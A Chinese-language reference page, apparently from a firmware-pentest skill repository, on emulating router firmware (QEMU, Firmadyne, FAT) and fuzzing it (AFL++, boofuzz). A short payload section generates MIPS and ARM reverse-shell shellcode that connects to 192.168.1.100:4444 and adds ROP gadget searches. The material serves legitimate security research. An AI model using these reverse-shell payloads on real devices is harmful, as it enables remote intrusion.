Files
reverse-skills-max/reverse-skill-repo/skills/firmware-pentest/references/emulation-and-fuzz.md

8.6 KiB
Raw Blame History

仿真与模糊测试

参考:

仿真三档

档位 工具 适用 难度
用户态 qemu-*-static + chroot 单个二进制(httpd / cgibin) 低
全系统 Firmadyne / FAT 整个固件起 init / 网络栈 / NVRAM 中
半真机 qemu + 真硬件 GPIO / 协处理器透传 涉及外设的固件 高
纯真机 UART / JTAG 仿真起不来,必须上硬件 高

选择策略:

只想看 httpd 接口        → 用户态
想真实跑起来管理界面     → 全系统
仿真起不来某外设         → 半真机或硬件
不在意效率追求真实       → 真机

用户态仿真(QEMU User Mode)

最快路径,几条命令出 shell。

# 1. 把 qemu-user-static 拷进 rootfs
cp /usr/bin/qemu-mipsel-static squashfs-root/usr/bin/

# 2. chroot 进去
sudo chroot squashfs-root /usr/bin/qemu-mipsel-static /bin/sh

# 3. 直接跑目标 binary
sudo chroot squashfs-root /usr/bin/qemu-mipsel-static /usr/sbin/httpd

# 4. 不 chroot 直接跑(路径相对)
qemu-mipsel-static -L squashfs-root:REDACTED/usr/sbin/httpd

架构对照表:

固件架构 qemu binary
MIPS little-endian (MT 系列) qemu-mipsel-static
MIPS big-endian (BCM 系列) qemu-mips-static
ARM little-endian (大多数) qemu-arm-static
ARM 64 qemu-aarch64-static
PowerPC qemu-ppc-static
SuperH qemu-sh4-static

判断架构:

file squashfs-root/bin/busybox
# 输出例:ELF 32-bit LSB executable, MIPS, MIPS32 rel2 version 1 (SYSV)
#        LSB = mipsel, MSB = mipseb

用户态的坑

  • /proc 不可用 → mount -t proc proc squashfs-root/proc
  • 缺设备节点 → mknod squashfs-root/dev/null c 1 3
  • DNS 解析失败 → 拷一份 /etc/resolv.conf 进去
  • 网络监听 → qemu-user 对网络栈支持有限,bind 高端口能成,低端口可能要 root
  • nvram_get 拿不到值 → 用户态没 NVRAM,httpd 经常崩;上全系统仿真

全系统仿真(Firmadyne)

完整流程:提取 → 识别架构 → 构造 image → 启动 + NVRAM hack。

安装

git clone --recursive https://github.com/firmadyne/firmadyne.git ~/tools/firmadyne
cd ~/tools/firmadyne
sudo ./download.sh             # 下载预编译内核

# 配置 PostgreSQL
sudo -u postgres createuser -P firmadyne   # 密码 firmadyne
sudo -u postgres createdb -O firmadyne firmware
sudo -u postgres psql -d firmware < ./database/schema

完整流程

cd ~/tools/firmadyne
FW=/path/to/firmware.bin

# Step 1: 注册固件到数据库
./sources/extractor/extractor.py -b TPLink -sql 127.0.0.1 -np -nk \
  "$FW" images

# Step 2: 识别架构
IID=$(psql -d firmware -U firmadyne -c "SELECT id FROM image \
  ORDER BY id DESC LIMIT 1;" -t | tr -d ' ')
./scripts/getArch.sh "./images/${IID}.tar.gz"

# Step 3: 把内核 + rootfs 装配成可启动 image
./scripts/tar2db.py -i "$IID" -f "./images/${IID}.tar.gz"
sudo ./scripts/makeImage.sh "$IID"

# Step 4: 推断网络配置(DHCP / 静态 IP)
./scripts/inferNetwork.sh "$IID"

# Step 5: 启动
./scratch/${IID}/run.sh

启动后会输出仿真 IP,浏览器访问:

# 假设输出 192.168.0.1
curl -I http://192.168.0.1/
nmap -p- 192.168.0.1

NVRAM hack

Firmadyne 自带 libnvram.so,hook 所有 nvram 读取调用,返回默认值。

# 查看 libnvram 默认值表
cat ~/tools/firmadyne/nvram_files/nvram.default

# 加自定义 NVRAM 项(针对崩在特定 nvram_get 的服务)
echo "wan_ipaddr=192.168.0.100" >> ~/tools/firmadyne/nvram_files/nvram.default
echo "lan_ifname=br0"            >> ~/tools/firmadyne/nvram_files/nvram.default

# 重新打包 image
sudo ./scripts/makeImage.sh "$IID"

常见坑

现象 原因 修法
启动卡在 "init started" 缺 /dev 节点 MAKEDEV 在镜像里手工建
httpd 启动即崩 nvram_get 缺值 加 nvram.default
bind 错网卡 inferNetwork 推错 手工改 ./scratch/${IID}/run.sh 的 -net nic
IPC 信号量错 内核版本不匹配 换 Firmadyne 自带的对应架构内核
内核 panic 架构识别错 重跑 getArch.sh,或手工指定
没网卡 固件没自动 ifconfig 进仿真 shell ifconfig br0 192.168.0.1 up
串口卡死 tty 未分配 run.sh 加 -serial mon:stdio

FAT(Firmware Analysis Toolkit)

Firmadyne 的封装,一行启动。

git clone https://github.com/attify/firmware-analysis-toolkit.git ~/tools/fat
cd ~/tools/fat
sudo pip3 install -r requirements.txt

# 编辑 fat.config 指向 Firmadyne 路径
vim fat.config

# 跑
sudo ./fat.py /path/to/firmware.bin

FAT 自动做完 extractor → getArch → makeImage → inferNetwork → run,一条命令到仿真 shell。

适合快速验证;遇到坑还是回到 Firmadyne 手工流程。

仿真态做 AFL++ Fuzz

三种模式选哪个

模式 速度 适用
源码编译 (afl-clang-lto) 最快 有源码或能自行编译
QEMU mode (-Q) 慢 5-10 倍 仅有目标 binary
Persistent mode 比 QEMU 快 5-10 倍 需要简单 harness 改造

AFL++ QEMU mode(对仿真二进制 fuzz)

# 1. 准备 AFL++ qemu 后端(架构对应)
cd ~/tools/aflpp/qemu_mode
CPU_TARGET=mipsel ./build_qemu_support.sh

# 2. 准备种子语料
mkdir -p in/
echo "GET / HTTP/1.0" > in/seed1

# 3. 启动 fuzz
afl-fuzz -Q -i in/ -o out/ -- \
  qemu-mipsel-static -L squashfs-root/ \
  squashfs-root/usr/sbin/httpd

# 4. 监控覆盖率
afl-whatsup out/

Persistent mode(速度 10x)

// harness.c:把目标主循环改造为 input-driven
#include <stdio.h>
__AFL_FUZZ_INIT();

int main() {
    __AFL_INIT();
    unsigned char *buf = __AFL_FUZZ_TESTCASE_BUF;
    while (__AFL_LOOP(10000)) {
        int len = __AFL_FUZZ_TESTCASE_LEN;
        process_request(buf, len);   // 目标函数
    }
}
afl-clang-lto -o harness harness.c target.c
afl-fuzz -i in/ -o out/ -- ./harness

afl-clang-lto 重编译(有源码)

# 源码 in tree
export CC=afl-clang-lto CXX=afl-clang-lto++
export AFL_USE_ASAN=1
make clean && make
afl-fuzz -i in/ -o out/ -- ./target @@

网络服务 fuzz:boofuzz

针对自定义二进制协议或仿真起来的服务。

pip3 install boofuzz
# fuzz_httpd.py
from boofuzz import *

session = Session(target=Target(connection=TCPSocketConnection("192.168.0.1", 80)))

s_initialize(name="http_get")
s_string("GET", fuzzable=False)
s_delim(" ", fuzzable=False)
s_string("/", fuzzable=True)
s_string(" HTTP/1.0\r\n", fuzzable=False)
s_string("Host: 192.168.0.1\r\n", fuzzable=True)
s_string("\r\n", fuzzable=False)

session.connect(s_get("http_get"))
session.fuzz()
sudo python3 fuzz_httpd.py
# 配合 ./scratch/${IID}/run.sh 监控 console,看 crash

ARM / MIPS payload 速查

# pwntools 生成 reverse shell
python3 - <<'EOF'
from pwn import *

# MIPS little-endian
context.clear(arch='mips', endian='little', os='linux')
sc = shellcraft.connect('192.168.1.100', 4444) + shellcraft.dupsh()
print(asm(sc).hex())

# ARM little-endian
context.clear(arch='arm', endian='little', os='linux')
sc = shellcraft.connect('192.168.1.100', 4444) + shellcraft.dupsh()
print(asm(sc).hex())
EOF

# ROP gadget 搜索
ropper --file ./httpd --search "system"
ROPgadget --binary ./httpd --only "pop|ret"

调试器接入

# 用户态 + gdbserver 模式
qemu-mipsel-static -g 1234 -L squashfs-root/ ./vuln_binary

# 另一终端
gdb-multiarch ./vuln_binary
(gdb) set architecture mips
(gdb) target remote :1234
(gdb) b *0x00401234
(gdb) c

# 全系统仿真接 gdb
# 改 ./scratch/${IID}/run.sh,qemu-system-mips 加参数:
#   -s -S
# 然后
gdb-multiarch
(gdb) target remote :1234

一键 fuzz 工作流

#!/bin/bash
FW=$1
IID=$2

# 1. 仿真起来
~/tools/fat/fat.py "$FW" &
sleep 30

# 2. 拿到 IP
IP=$(grep "br0" ~/tools/firmadyne/scratch/$IID/qemu.final.serial.log | head -1)

# 3. 网络 fuzz
python3 fuzz_httpd.py "$IP"

# 4. 同时 AFL++ 跑用户态
afl-fuzz -Q -i in/ -o out/ -- \
  qemu-mipsel-static -L squashfs-root:REDACTED/usr/sbin/httpd &

wait

引用